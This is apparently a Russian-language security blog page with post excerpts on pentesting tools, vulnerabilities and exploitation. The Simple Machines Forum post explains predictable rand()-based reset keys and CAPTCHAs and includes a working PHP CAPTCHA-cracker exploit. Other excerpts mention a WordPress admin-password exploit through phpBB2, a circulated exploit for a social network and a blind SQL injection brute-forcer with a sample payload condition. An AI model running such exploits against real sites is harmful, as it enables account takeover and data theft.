CMS Explorer

При проведении пентестов очень часто приходится иметь дело с такими известными CMS как Joomla, WordPress и Drupal. Эта тройка составляет значительную часть от общего количества используемых в сети систем управления контентом с открытым исходным кодом. Серьезные уязвимости, как правило, присутствуют только в древних версиях, поэтому на первый план выходят самостоятельно установленные плагины, безопасность которых может быть намного более далекой от идеала, чем в ядре системы.
Инструмент CMS Explorer служит для определения плагинов в перечисленных выше CMS. Он представляет собой небольшой perl-скрипт с набором списков плагинов для каждой из CMS. Наборы легко обновляются, указав ключ -update. Утилита также сканирует используемые темы оформления, но обычно это не несет никакой пользы. Чтобы отключить сканирование тем, в исходном коде нужно вручную указать значение соответствующего элемента массива ($OPTIONS{‘checkthemes’} = 0;), так как автор не предусмотрел такой опции при запуске.
Отличительной особенностью скрипта является автоматический поиск на предмет уязвимостей по базе данных OSVDB для найденных плагинов. Однако для использования поиска необходимо иметь ключ к API сервиса. Впрочем, получить его может любой желающий, пройдя регистрацию. К сожалению, присутствует одно ограничение — сервис позволяет сделать только 100 запросов в день. Получив ключ, нужно создать в папке с CMS Explorer файл osvdb.key и внести значение. Read more »

Уязвимости в Simple Machines Forum <= 1.1.5

Обнаружил уязвимость в Simple Machines Forum <= 1.1.5, связанную с предсказуемостью кода подтверждения для смены пароля, а также CAPTCHA в модуле регистрации. Оба механизма используют в своем алгоритме функцию rand(), о недостатках которой я писал в прошлой статье.

Сброс пароля администратора

SMF выявляет случайное число, сгенерированное с помощью rand(), в виде md5-хэша в самой форме восстановления пароля (hidden параметр sc):

<?php
$_SESSION['rand_code'] = md5(session_id() . rand());
$sc = $_SESSION['rand_code'];
?>

Активационный ключ генерируется следующим образом:

<?php
$password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
?>

Так как максимальное значение случайного числа на win32 является 32767 и идентификатор сессии известен, то перебором md5-хэша можно получить случайное число. В win32 любое число, сгенерированное с помощью rand(), становится сидом для следующего числа, таким образом можно предугадать все последующие числа и вычислить активационный ключ.

http://milw0rm.com/exploits/6392

Вычисление кода CAPTCHA

SMF выявляет случайное число в модуле регистрации (ссылки на изображения с кодом CAPTCHA):

<?php
$context['verificiation_image_href'] = $scripturl . '?action=verificationcode;rand=' . md5(rand());
?>

Сам код CAPTCHA генерируется следующим образом:

<?php
$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
// Generate a new code.
$_SESSION['visual_verification_code'] = '';
for ($i = 0; $i < 5; $i++)
$_SESSION['visual_verification_code'] .= $character_range[array_rand($character_range)];
?>

Функция array_rand() использует внутренний вызов rand(), поэтому определив перебором предыдущее случайное число в ссылках, можно вычислить сам код (опять-таки актуально только для win32).

<?php

/**
 * Simple Machines Forum <= 1.1.5 CAPTCHA cracker (win32)
 * by Raz0r (http://Raz0r.name/)
 */

$url = "http://localhost/smf/";

$html = file_get_contents("{$url}index.php?action=register");
$out=array();
preg_match("@rand=([0-9a-f]+)@i",$html,$out);
if(isset($out[1])){
	$rand = bfmd5($out[1]);
	srand($rand);
	$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
	for ($i = 0; $i < 5; $i++) {
		echo $character_range[array_rand($character_range)];
	}
}

function bfmd5($md5) {
	for($i=0;$i<=32767;$i++){
		if($md5 == md5($i)) {
			return $i;
		}
	}
	return false;
}
?>

Предсказываем случайные числа в PHP

Стефан Эссер не перестает меня удивлять: в этот раз в своем блоге он рассказал об особенностях генерации случайных чисел в PHP, которые при особых условиях позволяют предугадывать случайные значения. Его находки открывают возможность для реализации совершенно новых атак — Cross Application Attacks, в основе которых лежит неправильное использование веб-приложениями функций для генерации случайных чисел. При этом одно веб-приложение, не имея полноценных уязвимостей, но обладающее погрешностью в вычислении случайных чисел, открывает дверь для реализации атаки на совершенно другое веб-приложение, находящееся на том же сервере. В качестве примера Стефан описал алгоритм проведения атаки на WordPress через дыру в phpBB2. Так как подтверждение его концепции в виде эксплоита отсутствует, я решил провести собственное исследование и написать рабочий PoC. После нескольких дней тестирования на локальном веб-сервере, я пришел к выводу, что уязвимость действительно имеет место, и ее эксплуатация вполне реальна. В результате мной был написан эксплоит для WordPress < = 2.6.1 посредством phpBB2, позволяющий сменить пароль администратора, не имея доступа к его почтовому ящику.

Read more »

Эксплоит для одноклассников

Сегодня обнаружил, что RST/GHC вдруг возродилась. Признаться, для меня это было открытие. Только теперь объединенная команда состоит еще из одной тимы: UKT. Кто это такие мне пока неизвестно. А вот сплоит для одноклассников теперь известен всем =) Сегодня его раздавали на IRC-канале всем желающим. Read more »

Топ 10 лучших онлайн сервисов по расшифровке хэшей

Представляю свой неофициальный рейтинг лучших онлайн-сервисов, позволяющих расшифровать хэши. В своих оценках я руководствовался следующими критериями:

  • бесплатность доступа
  • размер словаря
  • поддерживаемые типы хэшей
  • наличие детального криптоанализа (например с помощью Rainbow-таблиц)
    Обновлено 29.03.2013 Read more »

Автоматизированная эксплуатация SQL-инъекций

Введение

Я уверен, что тебе не раз приходилось тратить довольно много времени на такое нудное и малоинтересное занятие, как определение количества столбцов между SELECT и WHERE, перебор названий таблиц, посимвольный брутфорс при атаках вида SQL Injection. Не удивлюсь, если ты скажешь, что тебе уже порядком надоело делать это вручную, каждый раз встречая эту уязвимость. Данная статья рассчитана на человека, знакомого со SQL инъекциями — в ней мы рассмотрим методы их автоматизированной эксплуатации на примере использования PHP скрипта SQLBruter 0.2, созданного мною специально для этих целей. Read more »

SQLBruter v0.2

Опубликовано в журнале «Хакер»
#104, X-Tools

Назначение

SQLBruter — многофункциональный скрипт, реализующий перебор различными методами при атаках типа SQL Injection. При запросах с использованием UNION очень часто требуется определить количество выбираемых полей, названия таблиц и стобцов. Все это можно сделать с помощью моего скрипта. Кроме этого, SQLBruter осуществляет посимвольный перебор, т.е. с использованием конструкций типа «AND ascii(lower(substring([query],1,1))) > 97» и т.д. Важно сказать, что вам не придется указывать позицию символа — нужно лишь указать запрос и строку, возвращенную сервером, и в итоге вы получите полное содержание поля (например с хешем). Также в скрипте предусмотрено выведение результатов в файл и использование прокси.
Read more »